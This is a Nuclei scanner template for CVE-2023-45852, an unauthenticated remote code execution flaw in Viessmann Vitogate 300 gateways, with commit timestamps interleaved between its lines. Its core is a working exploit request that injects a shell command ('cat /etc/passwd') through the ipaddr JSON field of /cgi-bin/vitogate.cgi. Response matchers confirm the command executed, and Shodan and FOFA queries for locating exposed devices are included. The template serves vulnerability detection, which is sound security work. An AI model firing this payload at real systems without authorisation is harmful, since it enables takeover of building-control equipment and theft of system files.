2023-10-20 13:47:42 +00:00
id : CVE-2023-45852
2023-10-20 15:36:05 +00:00
2023-10-20 13:47:42 +00:00
info :
2023-10-20 15:36:05 +00:00
name : Viessmann Vitogate 300 - Remote Code Execution
author : iamnoooob,rootxharsh,pdresearch
2023-10-20 13:47:42 +00:00
severity : critical
description : |
In Vitogate 300 2.1.3.0, /cgi-bin/vitogate.cgi allows an unauthenticated attacker to bypass authentication and execute arbitrary commands via shell metacharacters in the ipaddr params JSON data for the put method.
reference :
- https://connectivity.viessmann.com/gb/mp-fp/vitogate/vitogate-300-bn-mb.html
- https://github.com/Push3AX/vul/blob/main/viessmann/Vitogate300_RCE.md
2023-10-20 15:36:05 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2023-45852
2023-10-20 13:47:42 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2023-45852
cwe-id : CWE-77
2023-10-25 12:04:43 +00:00
epss-score : 0.00221
2023-10-26 18:00:24 +00:00
epss-percentile : 0.60132
2023-10-20 13:47:42 +00:00
cpe : cpe:2.3:o:viessmann:vitogate_300_firmware:*:*:*:*:*:*:*:*
metadata :
verified : true
max-request : 1
2023-10-25 12:04:43 +00:00
vendor : viessmann
product : vitogate_300_firmware
2023-10-20 15:36:05 +00:00
shodan-query : title:"Vitogate 300"
fofa-query : title="Vitogate 300"
tags : cve,cve2023,rce,vitogate
2023-10-20 13:47:42 +00:00
http :
- raw :
- |
POST /cgi-bin/vitogate.cgi HTTP/1.1
Host : {{Hostname}}
Content-Type : application/json
2023-10-20 15:36:05 +00:00
{"method" : "put" , "form" : "form-4-8" , "session" : "" , "params" : {"ipaddr" : "{{randstr}};cat /etc/passwd" }}
2023-10-20 13:47:42 +00:00
matchers :
2023-10-20 15:36:05 +00:00
- type : dsl
dsl :
- 'status_code == 200'
- 'contains_all(header, "application/json")'
- 'contains_all(body, "traceroute: {{randstr}}: Unknown host", "daemon:x:1:1:")'
condition : and
2023-10-27 08:59:57 +00:00
# digest: 490a0046304402204c669042c27fa6073503910e513f44b76ec2ccb49139c0fd0bcc4518c12a09c002207fcf05e0cb415a5d75aa5c29f2cffccb1ba5ad8fd814dc6481d62428ad17b539:922c64590222798bb761d5b6d8e72950